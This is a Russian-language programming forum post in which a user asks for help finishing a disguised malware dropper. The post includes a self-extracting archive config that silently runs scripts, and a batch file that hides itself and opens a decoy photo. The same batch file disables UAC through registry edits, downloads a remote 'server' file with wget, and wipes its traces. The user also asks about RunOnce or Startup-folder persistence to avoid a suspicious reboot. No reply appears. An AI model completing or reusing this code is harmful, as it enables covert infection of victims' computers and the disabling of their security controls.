Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Последние темы форума

Показать новые сообщения »

Почтовая рассылка

Подписчиков: 6314
Последний выпуск: 19.06.2015

Подскажите, кто в теме

83K
26 августа 2012 года
VONG99
3 / / 26.08.2012
Имеются вопросы, хочу вложить фото в лоадер которое должно открываться в обычном формате,
файл ( Config.txt ) указанного ниже содержания нужно поправить или оставить как есть ?


------------------------------
;!@Install@!UTF-8!
InstallPath="%TEMP%"
RunProgram="hidcon:forcenowait:get.cmd"
RunProgram="hidcon:wait.cmd"
GUIMode="2"
;!@InstallEnd@!
----------------------------------



Вопрос по поводу обхода UAC

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f

как я слышала это сработает только после перезагрузки компа.
Будет очень паливно отправить комп в ребут в момент получения файла, значит нужно как-то прописать команду которая вступит в силу только после того как UAC будет уже отключён.


Мне подсказали пару вариантов:
1. Добавить в реестр, в секцию RunOnce ссылку на местоположение скачанного сервера. Он однократно запустится после перезагрузки.
2. Можно засунуть ярлык на местоположение скачанного сервера в папку автозагрузка. Но надо будет позаботиться, чтобы в процессе установки сервера этот ярлык был удален. Или можно засунуть сам файл в папку Автозагрузка и дать ему скрытый атрибут.

Может есть другие надёжные варианты ?

Подскажите, если не затруднит, какие записи нужно добавить чтобы получить рабочий вариант.

Вот get.cmd который я немного поправила



------------------------------------

@echo off
set site= путь к сайту
set file= название файла

@attrib +s +h "wget.exe"
@attrib +s +h "get.cmd"
@attrib +s +h "wait.cmd"

copy /y название.jpg %SYSTEMROOT%\название.jpg
start %SYSTEMROOT%\название.jpg

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "FilterAdministratorToken" /t REG_DWORD /d 0 /f

:start
@ping 8.8.8.8 -n 5 >nul
@if %errorlevel%==0 (goto get) else (goto start)

:get
@wget.exe %site%/%file%

:end
@attrib -s -h "wget.exe"
@attrib -s -h "get.cmd"
@attrib -s -h "wait.cmd"
@del /f /q "wget.exe"
@del /f /q "wait.cmd"
@del /f /q "get.cmd"

---------------------------------


вот содержание wait.cmd

---------------------------------
@echo off
ping 127.0.0.1 -n 4 >nul
exit
---------------------------------

Знаете кого-то, кто может ответить? Поделитесь с ним ссылкой.

Ваш ответ

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог